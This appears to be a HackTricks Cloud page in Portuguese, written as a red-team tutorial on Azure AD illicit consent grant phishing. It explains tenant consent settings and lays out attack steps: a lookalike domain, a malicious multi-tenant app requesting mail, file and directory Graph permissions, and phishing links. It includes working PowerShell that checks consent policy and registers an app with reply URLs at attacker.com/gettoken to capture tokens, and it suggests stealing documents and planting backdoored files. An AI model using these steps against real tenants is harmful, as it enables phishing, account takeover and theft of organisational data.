{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Azure Applications pedem permissões para acessar os dados do usuário (informações básicas, mas também acesso a documentos, envio de e-mails...).
Se permitido, um usuário normal pode conceder consentimento apenas para "permissões de baixo impacto". Em todos os outros casos, é necessário o consentimento do administrador.
GA
, ApplicationAdministrator
, CloudApplication
Administrator
e uma função personalizada incluindo permissão para conceder permissões a aplicativos
podem fornecer consentimento para todo o locatário.
Apenas permissões que não requerem consentimento do administrador são classificadas como baixo impacto. Estas são permissões necessárias para login básico são openid, profile, email, User.Read e offline_access. Se uma organização permite o consentimento do usuário para todos os aplicativos, um funcionário pode conceder consentimento a um aplicativo para ler as informações acima do seu perfil.
Portanto, um atacante poderia preparar um App malicioso e com um phishing, fazer o usuário aceitar o App e roubar seus dados.
- Não autenticado: De uma conta externa, crie um aplicativo com as permissões
User.Read
eUser.ReadBasic.All
, por exemplo, faça phishing de um usuário e você poderá acessar informações do diretório. - Isso requer que o usuário phished possa aceitar aplicativos OAuth de ambientes externos!
- Autenticado: Tendo comprometido um principal com privilégios suficientes, crie um aplicativo dentro da conta e faça phishing de algum usuário privilegiado que possa aceitar permissões OAuth privilegiadas.
- Nesse caso, você já pode acessar as informações do diretório, então a permissão
User.ReadBasic.All
não é mais interessante. - Você provavelmente está interessado em permissões que exigem um administrador para concedê-las, porque o usuário comum não pode dar a aplicativos OAuth nenhuma permissão, por isso você precisa fazer phishing apenas desses usuários (mais sobre quais funções/permissões concedem esse privilégio mais tarde)
O seguinte comando PowerShell é usado para verificar a configuração de consentimento para usuários no Azure Active Directory (Azure AD) em relação à sua capacidade de consentir em aplicativos:
PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
- Desabilitar consentimento do usuário: Esta configuração proíbe os usuários de conceder permissões a aplicativos. Nenhum consentimento do usuário para aplicativos é permitido.
- Usuários podem consentir com aplicativos de editores verificados ou da sua organização, mas apenas para permissões que você selecionar: Esta configuração permite que todos os usuários consintam apenas com aplicativos publicados por um editor verificado e aplicativos registrados no seu próprio tenant. Adiciona uma camada de controle permitindo consentimento apenas para permissões específicas.
- Usuários podem consentir com todos os aplicativos: Esta configuração é mais permissiva e permite que todos os usuários consintam com quaisquer permissões para aplicativos, desde que essas permissões não exijam consentimento administrativo.
- Política de consentimento de aplicativo personalizada: Esta configuração indica que uma política personalizada está em vigor, que pode ser adaptada a requisitos organizacionais específicos e pode envolver uma combinação de restrições baseadas no editor do aplicativo, nas permissões solicitadas pelo aplicativo e outros fatores.
Em um ataque de concessão de consentimento ilícito, os atacantes enganam os usuários finais para que concedam permissões a um aplicativo malicioso registrado no Azure. Isso é feito fazendo o aplicativo parecer legítimo, levando as vítimas a clicarem inadvertidamente em um botão "Aceitar". Como resultado, o Azure AD emite um token para o site do atacante, permitindo que eles acessem e manipulem os dados da vítima, como ler ou enviar e-mails e acessar arquivos, sem precisar de uma conta organizacional.
O ataque envolve várias etapas direcionadas a uma empresa genérica. Veja como pode se desenrolar:
- Registro de Domínio e Hospedagem de Aplicativo: O atacante registra um domínio que se assemelha a um site confiável, por exemplo, "safedomainlogin.com". Sob este domínio, um subdomínio é criado (por exemplo, "companyname.safedomainlogin.com") para hospedar um aplicativo projetado para capturar códigos de autorização e solicitar tokens de acesso.
- Registro de Aplicativo no Azure AD: O atacante então registra um Aplicativo Multi-Tenant no seu Azure AD Tenant, nomeando-o com o nome da empresa alvo para parecer legítimo. Eles configuram a URL de Redirecionamento do aplicativo para apontar para o subdomínio que hospeda o aplicativo malicioso.
- Configuração de Permissões: O atacante configura o aplicativo com várias permissões de API (por exemplo,
Mail.Read
,Notes.Read.All
,Files.ReadWrite.All
,User.ReadBasic.All
,User.Read
). Essas permissões, uma vez concedidas pelo usuário, permitem que o atacante extraia informações sensíveis em nome do usuário. - Distribuição de Links Maliciosos: O atacante cria um link contendo o id do cliente do aplicativo malicioso e o compartilha com usuários alvo, enganando-os para que concedam consentimento.
O ataque pode ser facilitado usando ferramentas como 365-Stealer.
Se o atacante tiver algum nível de acesso a um usuário na organização da vítima, ele pode verificar se a política da organização permite que o usuário aceite aplicativos:
Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.
Para executar o ataque, o atacante precisaria criar um novo App em seu Azure Tenant (em Registros de Aplicativos), configurado com as permissões:
User.ReadBasic.All
está dentro de Microsoft Graph
em Delegated permissions
. (Permissões de Aplicação sempre precisarão de aprovação extra).
User.ReadBasic.All
é a permissão que permitirá ler informações de todos os usuários na organização, se concedida.- Lembre-se de que apenas
GA
,ApplicationAdministrator
,CloudApplication
Administrator
e uma função personalizada incluindopermissão para conceder permissões a aplicativos
podem fornecer consentimento em todo o tenant. Portanto, você deve phish um usuário com um desses papéis se quiser que ele aprove um App que requer consentimento de administrador.
Você também pode criar um App via cli com:
{% code overflow="wrap" %}
# Generate Application
New-AzureADApplication -DisplayName "MyApp" -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true
# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)
# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName" -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)
$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"} # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)
$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)
$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)
$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)
$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)
$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)
$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}
Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid
{% endcode %}
Confira https://www.alteredsecurity.com/post/introduction-to-365-stealer para aprender como configurá-lo.
{% hint style="warning" %}
Note que o access token obtido será para o graph endpoint com os escopos: User.Read
e User.ReadBasic.All
(as permissões solicitadas). Você não poderá realizar outras ações (mas essas são suficientes para baixar informações sobre todos os usuários na organização).
{% endhint %}
Você também pode usar esta ferramenta para realizar este ataque.
Uma vez que você tenha acesso ao usuário, pode fazer coisas como roubar documentos sensíveis e até mesmo fazer upload de arquivos de documentos com backdoor.
- https://www.alteredsecurity.com/post/introduction-to-365-stealer
- https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/
{% hint style="success" %}
Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo no Discord ou ao grupo no Telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.